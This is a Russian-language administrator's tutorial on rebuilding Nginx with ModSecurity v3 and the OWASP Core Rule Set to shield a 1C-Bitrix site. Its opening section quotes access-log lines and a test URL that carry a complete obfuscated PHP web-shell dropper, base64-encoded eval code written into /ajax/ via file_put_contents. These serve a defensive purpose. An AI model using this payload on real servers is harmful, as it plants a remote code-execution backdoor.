Настраиваем WAF и ModSecurity для Nginx
Если вы читаете эту статью, значит вы, как и многие из администраторов веб-серверов, внезапно столкнулись с проблемой несанкционированного доступа к исходным файлам вашего сайта, или сразу нескольких сайтов. Перед вами стоит задача, для начала, понять, что именно произошло, а затем — как именно это произошло.
Последствия такого доступа могут быть разными, но безобидными эти последствия не назовёшь. В итоге с вашего сервера, например, может рассылаться спам от имени вашего домена, а еще злоумышленник может просто напакостить вам, подложив во все каталоги сайта файлик .htaccess, запрещающий доступ внутрь для всех. Если ваш сайт работает на CMS, скорее всего, это происходит через файл index.php в корне сайта. Злоумышленник может добавить до исходного кода этого файла вредоносный код, который будет, например, выполнять множественные редиректы пользователя вообще непонятно куда.
О целях и задачах подобного рода вредоносных атак мы можем только гадать. Зачем это делается? Ну, кто ж его знает. Иногда это может быть и банальная обида предыдущего сисадмина на вашего работодателя. И, например, зная о том, что сайты компании работают на прекрасной CMS 1С-Битрикс, «обиженка» может просто пакостить, пользуясь общеизвестными уязвимостями этой CMS.
Да, конечно же, в той же CMS 1С-Битрикс есть, по заявлениям разработчиков, собственный WAF (Web Application Firewall), есть и собственный модуль проактивной защиты, в журнале которого вы сможете увидеть предотвращенные попытки вредоносных атак. Но здесь вы будете видеть лишь те попытки атак, которые Битрикс смог и распознать, и предотвратить.
И тут вы должны для себя чётко понять, что не следует пренебрегать понятием «Систематическая ошибка выжившего». Хорошо, что мы можем изучить журнал вторжений в Битриксе, где фиксируются распознанные атаки. А что делать с теми, которые Битрикс не сумел распознать? Они в этот журнал не попадают. К тому же, нужно понимать, что если Битрикс распознал вредоносную атаку, значит она прошла примерно следующий путь: файрволл ОС → ядро ОС → nginx → apache (если работает как бэкенд для nginx) → интерпретатор PHP → MySQL. Зачем пускать вредоносный трафик по всей этой цепочке, если его можно остановить ещё на «входе»? Конечно же, файрволлом все вредоносные IP мира не заблокируешь. Но анализировать трафик мы, всё же, можем.
Симптомы неприятностей
Если вы уже столкнулись с последствиями таких вредоносных атак, значит вы уже, возможно, знаете, как произошла атака. А если еще не знаете, её «следы» могут выглядеть так:
89.169.15.216 - - [20/May/2025:13:43:02 +0300] "GET /ajax/error_log_logic.php?data=%3C?php%20fIle_puT_CoNtEnTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/d2e79ff595e4.php%22,BASe64_DEcoDE(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E HTTP/1.1" 404 36654 "https://domain.ru/" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2659.78 Safari/537.36"
89.169.15.216 - - [20/May/2025:13:43:08 +0300] "GET /ajax/js_error.php?data=%3C?php%20fIle_Put_cOnTeNTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/d2e79ff595e4.php%22,BaSe64_dEcOde(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E HTTP/1.1" 404 36655 "https://domain.ru/ajax/error_log_logic.php?data=%3C?php%20fIle_puT_CoNtEnTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/d2e79ff595e4.php%22,BASe64_DEcoDE(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2659.78 Safari/537.36"
Если внимательно присмотреться к логам, можно увидеть следующие попытки от злоумышленника:
- вызов PHP-функции file_put_contents();
- вызов функции base64_decode();
- обфусцированный код, передаваемый функции base64_decode().
К чему приведёт подобное? Можно только догадываться. Но ни к чему хорошему не приведёт точно. Рано или поздно злоумышленник нащупает и пробьет слабое место вашего веб-сервера. А вам останется только разгребать последствия. И хорошо, если у вас имеются резервные копии ваших сайтов и баз данных.
- находится так называемый разработчик сайтов на Битриксе;
- он предоставляет на выбор пару готовых визуальных шаблонов для Битрикса;
- после выбора нужного шаблона ваш сайт тупо «натягивается» на его, извините, скелет;
- заказчик доволен;
- разработчик доволен;
- PROFIT!!!
Обезопасить ваш веб-сервер можно с помощью ModSecurity для вашего Nginx.
Веб-сервер с нужным набором ПО
Для чистоты эксперимента мы создадим виртуальную машину на Ubuntu Server 22.04. На этой виртуальной машине стандартным методом через apt установлены: Nginx, Apache, PHP 8.2 FPM, MariaDB, Postfix. На один из виртуальных хостов была установлена скачанная с сайта продукта CMS 1С-Битрикс в редакции Стандарт. Сайт был запущен на локальном домене www.waf.lezh.loc.
Мастер установки CMS предложил на выбор два шаблона. Мы выбрали один из них. После всех проверок работоспособности, включения различных инструментов защиты просто попробовали перейти по ссылке такого вида: https://www.waf.lezh.loc/ajax/error_log_logic.php?data=%3C?php%20fIle_puT_CoNtEnTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/d2e79ff595e4.php%22,BASe64_DEcoDE(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E. И вот, что мы увидели на экране монитора...
И что мы видим? А ничего. Никакого каталога /ajax/ в корне сайта не существует. Запрос к серверу явно несанкционированный. Но мы не видим страницу ошибки 404. Нам, зачем-то, показали страницу карты сайта. Ни в журнале событий, ни в журнале вторжений ничего нет. А что в логах веб-сервера? Вот что.
Да, в логах код ответа 404. Но это access-лог Apache. Запрос прошел через ядро CMS, не был зафиксирован как вредоносный, и успешно вернул ответ. Это плохо. Эту ситуацию мы будем исправлять.
Пересборка Nginx
Для того, чтобы ModSecurity работал эффективно, нам придётся собрать Nginx из исходников. Версия 1.18, доступная в репозитории, не полностью поддерживает всё то, что нам нужно. Переходим от слов к делу. Работаем с Ubuntu Server 22.04 через терминал.
1. Сохраняем нынешний nginx.
Во избежание неприятностей сохраним весь каталог.
# Делаем резервную копию
sudo cp -r /etc/nginx /etc/nginx.backup
# Останавливаем nginx
sudo systemctl stop nginx
# Убедимся в том, что nginx остановлен
ps aux | grep nginx
# Убить оставшиеся процессы
sudo pkill -9 nginx
2. Установка необходимых зависимостей.
sudo apt update && sudo apt install -y
git \
curl \
build-essential \
libpcre3 \
libpcre3-dev \
zlib1g-dev \
libssl-dev \
libtool \
autoconf \
automake \
pkg-config \
libpcre2-dev \
libcurl4-openssl-dev \
libxml2-dev
3. Скачиваем, собираем и устанавливаем ModSecurity v3.
# Переходим в каталог на диске
cd /usr/local/src
# Клонируем репозиторий ModSecurity
git clone https://github.com/SpiderLabs/ModSecurity
# Переходим в каталог репозитория
cd ModSecurity
# Переключаемся на нужную ветку
git checkout v3/master
# Устанавливаем требуемые модули
git submodule init && git submodule update
# Запускаем скрипт
./build.sh
# Запускаем конфигуратор
./configure --enable-static-link
# Собираем приложение
make -j$(nproc)
# Устанавливаем ModSecurity
sudo make install
4. Скачиваем и устанавливаем модуль ModSecurity для Nginx.
# Переходим в каталог на диске
cd /usr/local/src
# Клониируем репозиторий модуля
git clone https://github.com/SpiderLabs/ModSecurity-nginx.git
5. Нужно просмотреть, какие модули nginx были установлены в системе.
nginx -V 2>&1 | grep 'configure arguments:'
# Должны получить примерно следующее
configure arguments: --with-cc-opt='-g -O2 -ffile-prefix-map=/build/nginx-niToSo/nginx-1.18.0=. -flto=auto -ffat-lto-objects -flto=auto -ffat-lto-objects -fstack-protector-strong -Wformat -Werror=format-security -fPIC -Wdate-time -D_FORTIFY_SOURCE=2' --with-ld-opt='-Wl,-Bsymbolic-functions -flto=auto -ffat-lto-objects -flto=auto -Wl,-z,relro -Wl,-z,now -fPIC' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-compat --with-debug --with-pcre-jit --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --add-dynamic-module=/build/nginx-niToSo/nginx-1.18.0/debian/modules/http-geoip2 --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module
6. Скачиваем свежую версию Nginx.
# Переходим в каталог на диске
cd /usr/local/src
# Скачиваем доступную версию. Можно заменить на актуальную на момент прочтения
wget https://nginx.org/download/nginx-1.26.3.tar.gz
# Распаковываем архив
tar -zxvf nginx-1.26.3.tar.gz
# Переходим в каталог с исходниками
cd nginx-1.26.3
7. Конфигурируем Nginx с нужными модулями.
./configure \
--prefix=/usr/share/nginx \
--sbin-path=/usr/sbin/nginx \
--conf-path=/etc/nginx/nginx.conf \
--error-log-path=/var/log/nginx/error.log \
--http-log-path=/var/log/nginx/access.log \
--pid-path=/run/nginx.pid \
--lock-path=/var/lock/nginx.lock \
--user=www-data \
--group=www-data \
--modules-path=/usr/lib/nginx/modules \
--http-client-body-temp-path=/var/lib/nginx/body \
--http-fastcgi-temp-path=/var/lib/nginx/fastcgi \
--http-proxy-temp-path=/var/lib/nginx/proxy \
--http-scgi-temp-path=/var/lib/nginx/scgi \
--http-uwsgi-temp-path=/var/lib/nginx/uwsgi \
--with-http_ssl_module \
--with-http_stub_status_module \
--with-http_realip_module \
--with-http_auth_request_module \
--with-http_v2_module \
--with-http_dav_module \
--with-http_slice_module \
--with-threads \
--with-http_addition_module \
--with-http_gunzip_module \
--with-http_gzip_static_module \
--with-http_sub_module \
--add-module=../ModSecurity-nginx
8. Собираем, устанавливаем Nginx.
make -j$(nproc)
sudo make install
9. Проверяем версию и модули Nginx.
# Версия
/usr/sbin/nginx -v
# Должны увидеть что-то такое
nginx version: nginx/1.26.3
# модули
/usr/sbin/nginx -V
# Должны увидеть примерно следующее
nginx version: nginx/1.26.3
built by gcc 11.4.0 (Ubuntu 11.4.0-1ubuntu1~22.04)
built with OpenSSL 3.0.2 15 Mar 2022
TLS SNI support enabled
configure arguments: --prefix=/usr/share/nginx --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/run/nginx.pid --lock-path=/var/lock/nginx.lock --user=www-data --group=www-data --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --add-module=../ModSecurity-nginx
10. Скачиваем OWASP Core Rule Set (CRS).
# Создаем каталог для ModSecurity в каталоге nginx
mkdir /etc/nginx/modsec
# Переходим в каталог
cd /etc/nginx/modsec
# Клонируем репозиторий
sudo git clone https://github.com/coreruleset/coreruleset.git owasp-crs
# Переходим в каталог репозитория
cd owasp-crs
# Копируем основной файл конфигурации набора правил
sudo cp crs-setup.conf.example crs-setup.conf
# Переименовываем примеры правил в файлы конфигураций
for f in rules/*.conf.example; do cp "$f" "${f%.example}"; done
11. Пробуем запустить nginx.
systemctl start nginx
# Скорее всего, вы получите следующее
Job for nginx.service failed because the control process exited with error code.
See "systemctl status nginx.service" and "journalctl -xeu nginx.service" for details.
# Заглядываем в журнал
systemctl status nginx
# И видим примерно такое
× nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: failed (Result: exit-code) since Thu 2025-06-12 23:03:08 MSK; 5s ago
Docs: man:nginx(8)
Process: 3389769 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=1/FAILURE)
CPU: 13ms
Jun 12 23:03:08 waf.lezh.loc systemd[1]: Starting A high performance web server and a reverse proxy server...
Jun 12 23:03:08 waf.lezh.loc nginx[3389769]: nginx: [emerg] module "/usr/share/nginx/modules/ngx_http_geoip2_module.so" version 1018000 instead of 1026003 in /etc/nginx/modules-enabled/50-mod-http-g>
Jun 12 23:03:08 waf.lezh.loc nginx[3389769]: nginx: configuration file /etc/nginx/nginx.conf test failed
Jun 12 23:03:08 waf.lezh.loc systemd[1]: nginx.service: Control process exited, code=exited, status=1/FAILURE
Jun 12 23:03:08 waf.lezh.loc systemd[1]: nginx.service: Failed with result 'exit-code'.
Jun 12 23:03:08 waf.lezh.loc systemd[1]: Failed to start A high performance web server and a reverse proxy server.
Это происходит из-за того, что модули были установлены для другой версии Nginx. Переходим в каталог активных модулей nginx, которые там остались ещё после установки через apt.
# Переходим в каталог подключенных модулей nginx
cd /etc/nginx/modules-enabled
# Открываем каждый из них, и комментируем внутри строки вроде:
load_module modules/ngx_http_geoip2_module.so;
# Запускаем nginx
systemctl start nginx
# Проверяем его работу
systemctl status nginx
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Thu 2025-06-12 23:08:40 MSK; 4s ago
Docs: man:nginx(8)
Process: 3390065 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
Process: 3390066 ExecStart=/usr/sbin/nginx -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
Main PID: 3390067 (nginx)
Tasks: 3 (limit: 3430)
Memory: 8.7M
CPU: 210ms
CGroup: /system.slice/nginx.service
├─3390067 "nginx: master process /usr/sbin/nginx -g daemon on; master_process on;"
├─3390068 "nginx: worker process" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ""
└─3390069 "nginx: worker process" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ""
Если видите ошибку вроде:
nginx: [warn] the "listen ... http2" directive is deprecated, use the "http2" directive instead
В новых версиях Nginx директива http2 должна использоваться иначе. Необходимо заменить в конфигурационных файлах виртуальных хостов, или в других местах, где задана конфигурация сервера.
# Находим секции server, в которых написано так
server {
listen 443 ssl http2;
...
}
# Заменяем их на такую запись
server {
listen 443 ssl;
http2 on;
}
12. Убедимся в том, что и ModSecurity установлен.
ls -la /usr/local/modsecurity/lib/
# Должны увидеть примерно следующее
total 263096
drwxr-xr-x 3 root root 4096 Jun 17 22:49 .
drwxr-xr-x 5 root root 4096 Jun 17 22:49 ..
-rw-r--r-- 1 root root 213764924 Jun 17 22:49 libmodsecurity.a
-rwxr-xr-x 1 root root 1016 Jun 17 22:49 libmodsecurity.la
lrwxrwxrwx 1 root root 24 Jun 17 22:49 libmodsecurity.so -> libmodsecurity.so.3.0.14
lrwxrwxrwx 1 root root 24 Jun 17 22:49 libmodsecurity.so.3 -> libmodsecurity.so.3.0.14
-rwxr-xr-x 1 root root 55617488 Jun 17 22:49 libmodsecurity.so.3.0.14
drwxr-xr-x 2 root root 4096 Jun 17 22:49 pkgconfig
13. Подготавливаем каталог для хранения логов ModSecurity.
# Создаем каталог
mkdir -p /var/log/modsecurity
# Меняем владельца для созданного каталога
chown -R www-data:www-data /var/log/modsecurity/
# И переходим в этот каталог
cd /etc/nginx/modsec/
Здесь же создаем директорию для подключения правил с общими правилами. Это пригодится обязательно, особенно, тем, у кого множество виртуальных хостов.
mkdir ./includes
# Здесь же создаем первый конфигурационный файл ModSecurity для первого виртуального хоста
nano ./waf.lezh.loc-rules.conf
Записываем в этот файл такое содержимое:
# Test site for WAF
SecRuleEngine On
SecAuditEngine RelevantOnly
SecAuditLogRelevantStatus "^(?:5|4(?!04))"
SecRequestBodyAccess On
SecResponseBodyAccess Off
SecAuditLogParts ABIJDEFHZ
SecAuditLog /var/log/modsecurity/waf.lezh.loc_audit.log
SecDebugLog /var/log/modsecurity/waf.lezh.loc_debug.log
SecDebugLogLevel 3
# Certbot
Include /etc/nginx/modsec/includes/certbot.conf
# Исключение: поисковые боты
Include /etc/nginx/modsec/includes/allow-bots.conf
# Подключаем общие правила блокировки
Include /etc/nginx/modsec/includes/deny-common.conf
# Блокировка по IP
SecRule REMOTE_ADDR "@ipMatchFromFile /etc/nginx/modsec/ip_blacklist.txt" \
"id:1007,\
phase:1,\
deny,status:403,\
msg:'IP from blacklist',\
tag:'blacklisted',\
log,auditlog"
# Подключаем OWASP Core Rule Set (CRS)
Include /etc/nginx/modsec/owasp-crs/crs-setup.conf
Include /etc/nginx/modsec/owasp-crs/rules/*.conf
SecAuditLogRelevantStatus "^(?:5|4(?!04))", вы можете столкнуться с проблемой «У меня ничего не работает».
Очевидно, что требуется создать еще несколько файлов: ip_blacklist.txt, includes/certbot.conf, includes/allow-bots.conf и includes/deny-common.conf.
В файл ip_blacklist.txt можно помещать адреса, которым доступ к веб-серверу будет закрыт перманентно.
Файл /etc/nginx/modsec/includes/certbot.conf
# === Разрешаем Let's Encrypt certbot ===
SecRule REQUEST_URI "^/.well-known/.*/?$" \
"id:700001,\
phase:1,\
pass,\
nolog,\
ctl:ruleEngine=off"